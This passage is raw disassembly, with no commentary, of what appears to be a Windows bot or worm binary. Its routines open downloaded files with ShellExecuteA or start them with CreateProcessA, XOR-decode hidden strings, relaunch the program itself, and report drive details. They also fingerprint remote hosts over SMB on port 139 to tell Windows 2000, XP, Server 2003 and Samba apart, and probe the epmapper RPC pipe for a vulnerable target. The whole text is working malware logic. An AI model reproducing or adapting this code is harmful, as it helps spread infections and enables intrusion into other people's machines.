		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		add	esp, 28h


loc_40A676:				; CODE XREF: sub_40A3AD+268j
					; sub_40A3AD+27Dj
		cmp	[ebp+var_14], esi
		jz	loc_40A8D4
		cmp	[ebp+var_188], 1
		jz	loc_40A783
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_41F658
		lea	eax, [ebp+var_28C]
		fstp	[esp+484h+var_484]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_124]
		fmul	ds:dbl_41F658
		fstp	[esp+490h+var_490]
		push	offset unk_429090
		push	eax
		call	sub_413812
		add	esp, 1Ch
		cmp	[ebp+var_174], esi
		jnz	short loc_40A6FA
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		add	esp, 14h


loc_40A6FA:				; CODE XREF: sub_40A3AD+328j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		cmp	[ebp+var_184], 1
		pop	ecx
		jnz	loc_40A8D4
		push	5
		push	esi
		lea	eax, [ebp+var_28C]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_44CC5C	; ShellExecuteA
		cmp	[ebp+var_174], esi
		jnz	loc_40A8D4
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_124]
		push	offset dword_42905C
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		add	esp, 24h
		jmp	loc_40A8D4
; ---------------------------------------------------------------------------


loc_40A783:				; CODE XREF: sub_40A3AD+2D9j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_41F658
		lea	eax, [ebp+var_28C]
		fstp	[esp+484h+var_484]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_124]
		fmul	ds:dbl_41F658
		fstp	[esp+490h+var_490]
		push	offset unk_42900C
		push	eax
		call	sub_413812
		add	esp, 1Ch
		cmp	[ebp+var_174], esi
		jnz	short loc_40A7F1
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		add	esp, 14h


loc_40A7F1:				; CODE XREF: sub_40A3AD+41Fj
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_168]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413890
		add	esp, 1Ch
		mov	[ebp+var_168], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_15C], offset byte_438A10
		push	1
		mov	[ebp+var_138], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_168]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_28C]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_13C], edi
		call	ds:dword_41F0D4	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40A873
		call	dword_44CC48	; WSACleanup
		call	sub_408701
		push	esi
		call	ds:off_41F104


loc_40A873:				; CODE XREF: sub_40A3AD+4B2j
		lea	eax, [ebp+var_28C]
		push	eax
		push	offset unk_428FC0
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A881:				; CODE XREF: sub_40A3AD+45j
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset unk_428F84


loc_40A88D:				; CODE XREF: sub_40A3AD+4D2j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_174], esi
		jnz	short loc_40A8C7
		push	esi
		lea	eax, [ebp+var_124]
		push	[ebp+var_170]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_40B2B5
		add	esp, 14h


loc_40A8C7:				; CODE XREF: sub_40A3AD+4F5j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_409833
		pop	ecx


loc_40A8D4:				; CODE XREF: sub_40A3AD+2CCj
					; sub_40A3AD+361j ...
		push	[ebp+var_18]
		call	dword_44CD0C	; InternetCloseHandle
		push	[ebp+var_18C]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	ds:off_41F040
sub_40A3AD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_40A3AD+12Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40A90C


loc_40A8FC:				; CODE XREF: sub_40A8F0+1Aj
		mov	dl, byte_42A334
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40A8FC

locret_40A90C:				; CODE XREF: sub_40A8F0+Aj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A90D	proc near		; CODE XREF: sub_40CC09+2627p
					; sub_40CC09+274Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4159E9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40A90D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A927	proc near		; CODE XREF: sub_40517E+469p
					; sub_40517E+60Ep ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_450FA8
		push	0
		push	edi
		call	sub_413890
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40A94C:				; CODE XREF: sub_40A927+5Bj
					; sub_40A927+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_415540
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4155C0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40A98A
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40A94C
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40A94C
; ---------------------------------------------------------------------------


loc_40A98A:				; CODE XREF: sub_40A927+4Bj
		dec	esi
		mov	eax, edi


loc_40A98D:				; CODE XREF: sub_40A927+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40A99C
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40A98D
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A927+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A927	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9A6	proc near		; CODE XREF: sub_40AB52+54p
					; sub_40AB52+8Dp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_44CD38	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40A9E9
		dec	eax
		jz	short loc_40A9E3
		dec	eax
		dec	eax
		jz	short loc_40A9DD
		dec	eax
		jz	short loc_40A9D7
		dec	eax
		jz	short loc_40A9D1
		dec	eax
		jz	short loc_40A9CB
		mov	eax, offset word_428AC4
		retn
; ---------------------------------------------------------------------------


loc_40A9CB:				; CODE XREF: sub_40A9A6+1Dj
		mov	eax, offset off_42923C
		retn
; ---------------------------------------------------------------------------


loc_40A9D1:				; CODE XREF: sub_40A9A6+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40A9D7:				; CODE XREF: sub_40A9A6+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40A9DD:				; CODE XREF: sub_40A9A6+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40A9E3:				; CODE XREF: sub_40A9A6+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40A9E9:				; CODE XREF: sub_40A9A6+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40A9A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9EF	proc near		; CODE XREF: sub_40AA37+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_44CBE8
		test	eax, eax
		jz	short loc_40AA24
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40AA24:				; CODE XREF: sub_40A9EF+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40A9EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA37	proc near		; CODE XREF: sub_4093C1+1F3p
					; sub_40AB52+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40A9EF
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AB0F
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AB0F
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AB0F
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_415A30
		push	edx
		push	eax
		call	sub_40A927
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_415A30
		push	edx
		push	eax
		call	sub_40A927
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_415A30
		push	edx
		push	eax
		call	sub_40A927
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40AB3E
; ---------------------------------------------------------------------------


loc_40AB0F:				; CODE XREF: sub_40AA37+2Cj
					; sub_40AA37+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_413812
		add	esp, 18h


loc_40AB3E:				; CODE XREF: sub_40AA37+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40AA37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB52	proc near		; CODE XREF: sub_40AC2A+17p
					; sub_40AC2A+60p

var_400		= byte ptr -400h
var_280		= byte ptr -280h
var_200		= byte ptr -200h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_400]
		push	ebx
		push	eax
		call	sub_40AA37
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_400]
		rep movsd
		push	60h
		lea	esi, [ebp+var_400]
		pop	ecx
		lea	edi, [ebp+var_280]
		lea	eax, [ebp+var_180]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_413C30
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40ABC8
		push	ebx
		push	ebx
		call	sub_40A9A6
		pop	ecx
		push	eax
		push	offset unk_42929C
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 14h
		jmp	short loc_40ABFF
; ---------------------------------------------------------------------------


loc_40ABC8:				; CODE XREF: sub_40AB52+50j
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_180]
		push	eax
		push	ebx
		push	ebx
		call	sub_40A9A6
		pop	ecx
		push	eax
		push	offset unk_429250
		lea	eax, [ebp+var_100]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 20h


loc_40ABFF:				; CODE XREF: sub_40AB52+74j
		push	1
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC2A	proc near		; CODE XREF: sub_40CC09+4DA4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40AC4B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AB52
		add	esp, 10h
		jmp	short loc_40ACAC
; ---------------------------------------------------------------------------


loc_40AC4B:				; CODE XREF: sub_40AC2A+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_44CC58	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_413F0B
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_44CC58	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40ACA3


loc_40AC6F:				; CODE XREF: sub_40AC2A+77j
		push	offset off_4292EC
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AC92
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40AB52
		add	esp, 10h


loc_40AC92:				; CODE XREF: sub_40AC2A+54j
		push	esi
		call	sub_413E90
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40AC6F


loc_40ACA3:				; CODE XREF: sub_40AC2A+43j
		push	edi
		call	sub_413F7F
		pop	ecx
		pop	edi
		pop	esi


loc_40ACAC:				; CODE XREF: sub_40AC2A+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40AC2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACAF	proc near		; DATA XREF: sub_40C2D0+14o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_452134
		call	dword_44CD70	; closesocket
		call	sub_413487
		call	dword_44CC48	; WSACleanup
		call	dword_44CC48	; WSACleanup
		mov	ebx, ds:dword_41F050
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_413890
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_438A10
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_41F0FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	ds:dword_41F060	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	ds:dword_41F0D4	; CreateProcessA
		test	eax, eax
		jz	short loc_40AD74
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, ds:dword_41F058
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_40AD74:				; CODE XREF: sub_40ACAF+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_450FE0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:off_41F104
		pop	edi
		pop	esi
		pop	ebx
sub_40ACAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD97	proc near		; CODE XREF: sub_40ADCF+2FBp
					; sub_40ADCF+31Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40ADC5


loc_40ADA8:				; CODE XREF: sub_40AD97+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_415AE0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40ADCB
		inc	esi
		cmp	esi, edi
		jl	short loc_40ADA8


loc_40ADC5:				; CODE XREF: sub_40AD97+Fj
		xor	al, al


loc_40ADC7:				; CODE XREF: sub_40AD97+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40ADCB:				; CODE XREF: sub_40AD97+27j
		mov	al, 1
		jmp	short loc_40ADC7
sub_40AD97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADCF	proc near		; CODE XREF: .text:0040357Bp
					; .text:00403592p ...

var_2614	= byte ptr -2614h
var_2613	= byte ptr -2613h
var_2612	= byte ptr -2612h
var_614		= byte ptr -614h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_118		= byte ptr -118h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2614h
		call	sub_413E60
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	loc_40B140
		dec	eax
		jz	loc_40B11B
		dec	eax
		jz	short loc_40AE72
		dec	eax
		jz	loc_40B008
		dec	eax
		jnz	short loc_40AE72
		push	6
		push	1
		push	2
		call	dword_44CD58	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40AE72
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	8Bh
		call	dword_44CCDC	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_12], ax
		call	sub_408947
		pop	ecx
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		cmp	eax, edi
		jz	short loc_40AE72
		push	ebx
		push	48h
		push	offset unk_429380
		push	esi
		call	dword_44CD28	; send
		cmp	eax, edi
		jnz	short loc_40AE79
		push	esi


loc_40AE6C:				; CODE XREF: sub_40ADCF+11Ej
		call	dword_44CD70	; closesocket


loc_40AE72:				; CODE XREF: sub_40ADCF+22j
					; sub_40ADCF+2Cj ...
		xor	eax, eax


loc_40AE74:				; CODE XREF: sub_40ADCF+215j
					; sub_40ADCF+234j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AE79:				; CODE XREF: sub_40ADCF+9Aj
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jz	short loc_40AEEA
		push	ebx
		push	33h
		push	offset dword_4293CC
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	eax, edi
		jz	short loc_40AEEA
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jz	short loc_40AEEA
		push	ebx
		push	4Ch
		push	offset dword_429400
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	eax, edi
		jz	short loc_40AEEA
		push	ebx
		lea	eax, [ebp+var_2614]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jnz	short loc_40AEF2


loc_40AEEA:				; CODE XREF: sub_40ADCF+C3j
					; sub_40ADCF+D8j ...
		push	[ebp+arg_4]
		jmp	loc_40AE6C
; ---------------------------------------------------------------------------


loc_40AEF2:				; CODE XREF: sub_40ADCF+119j
		lea	esi, [eax-2]
		mov	[ebp+arg_0], ebx
		cmp	esi, ebx
		jle	short loc_40AF45
		lea	edi, [ebp+esi+var_2613]


loc_40AF03:				; CODE XREF: sub_40ADCF+174j
		cmp	[ebp+arg_0], 4
		jge	short loc_40AF45
		cmp	[edi-1], bl
		jnz	short loc_40AF3F
		mov	eax, [ebp+arg_0]
		sub	eax, ebx
		jz	short loc_40AF2D
		dec	eax
		jz	short loc_40AF24
		dec	eax
		jnz	short loc_40AF3C
		push	edi
		lea	eax, [ebp+var_414]
		jmp	short loc_40AF34
; ---------------------------------------------------------------------------


loc_40AF24:				; CODE XREF: sub_40ADCF+147j
		push	edi
		lea	eax, [ebp+var_214]
		jmp	short loc_40AF34
; ---------------------------------------------------------------------------


loc_40AF2D:				; CODE XREF: sub_40ADCF+144j
		push	edi
		lea	eax, [ebp+var_614]


loc_40AF34:				; CODE XREF: sub_40ADCF+153j
					; sub_40ADCF+15Cj
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx


loc_40AF3C:				; CODE XREF: sub_40ADCF+14Aj
		inc	[ebp+arg_0]


loc_40AF3F:				; CODE XREF: sub_40ADCF+13Dj
		dec	esi
		dec	edi
		cmp	esi, ebx
		jg	short loc_40AF03


loc_40AF45:				; CODE XREF: sub_40ADCF+12Bj
					; sub_40ADCF+138j
		push	[ebp+arg_4]
		call	dword_44CD70	; closesocket
		lea	eax, [ebp+var_214]
		push	eax
		push	offset aWindowsServer2 ; "Windows Server 2003 *.*"
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AF69
		push	4
		jmp	short loc_40AFE3
; ---------------------------------------------------------------------------


loc_40AF69:				; CODE XREF: sub_40ADCF+194j
		lea	eax, [ebp+var_214]
		push	eax
		push	offset aNtLanManager_ ;	"NT LAN	Manager	*.*"
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AF84
		push	1
		jmp	short loc_40AFE3
; ---------------------------------------------------------------------------


loc_40AF84:				; CODE XREF: sub_40ADCF+1AFj
		lea	eax, [ebp+var_214]
		mov	esi, offset aWindows2000Lan ; "Windows 2000 LAN	Manager*"
		push	eax
		push	esi
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFB7
		lea	eax, [ebp+var_414]
		push	eax
		push	offset aWindows5_0 ; "Windows 5.0"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFB7
		push	2
		jmp	short loc_40AFE3
; ---------------------------------------------------------------------------


loc_40AFB7:				; CODE XREF: sub_40ADCF+1CBj
					; sub_40ADCF+1E2j
		lea	eax, [ebp+var_214]
		push	eax
		push	esi
		call	sub_413617
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFE9
		lea	eax, [ebp+var_414]
		push	eax
		push	offset aWindows5_1 ; "Windows 5.1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFE9
		push	3


loc_40AFE3:				; CODE XREF: sub_40ADCF+198j
					; sub_40ADCF+1B3j ...
		pop	eax
		jmp	loc_40AE74
; ---------------------------------------------------------------------------


loc_40AFE9:				; CODE XREF: sub_40ADCF+1F9j
					; sub_40ADCF+210j
		lea	eax, [ebp+var_214]
		push	eax
		push	offset aSamba	; "Samba *"
		call	sub_413617
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		and	eax, 5
		jmp	loc_40AE74
; ---------------------------------------------------------------------------


loc_40B008:				; CODE XREF: sub_40ADCF+25j
		push	[ebp+arg_0]
		mov	esi, 104h
		lea	eax, [ebp+var_118]
		xor	edi, edi
		push	offset aS_3	; "\\\\%s\\"
		push	esi
		push	eax
		xor	ebx, ebx
		mov	[ebp+var_4], edi
		call	sub_413D8A
		push	esi
		lea	eax, [ebp+var_118]
		push	offset aPipeEpmapper ; "pipe\\epmapper"
		push	eax
		call	sub_415310
		add	esp, 1Ch
		lea	eax, [ebp+var_118]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:dword_41F05C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_4], eax
		jz	loc_40B114
		mov	edi, 186A0h
		push	edi
		call	sub_413F0B
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_413890
		add	esp, 10h
		lea	eax, [ebp+arg_0]
		mov	edi, ds:off_41F108
		push	ebx
		push	eax
		push	2710h
		push	esi
		push	48h
		push	offset dword_4292F0
		push	[ebp+arg_4]
		call	edi ; sub_74AC58
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40B101
		lea	eax, [ebp+arg_0]
		push	ebx
		push	eax
		push	2710h
		push	esi
		push	18h
		push	offset dword_42933C
		push	[ebp+arg_4]
		call	edi ; sub_74AC58
		cmp	byte ptr [esi+2], 2
		jnz	short loc_40B101
		push	10h
		push	offset dword_429358
		push	[ebp+arg_0]
		push	esi
		call	sub_40AD97
		add	esp, 10h
		test	al, al
		jz	short loc_40B0E3
		cmp	[ebp+arg_0], 12Ch
		sbb	edi, edi
		inc	edi
		inc	edi
		jmp	short loc_40B104
; ---------------------------------------------------------------------------


loc_40B0E3:				; CODE XREF: sub_40ADCF+305j
		push	10h
		push	offset dword_42936C
		push	[ebp+arg_0]
		push	esi
		call	sub_40AD97
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	edi, eax
		jmp	short loc_40B104
; ---------------------------------------------------------------------------


loc_40B101:				; CODE XREF: sub_40ADCF+2D1j
					; sub_40ADCF+2EEj
		mov	edi, [ebp+var_4]


loc_40B104:				; CODE XREF: sub_40ADCF+312j
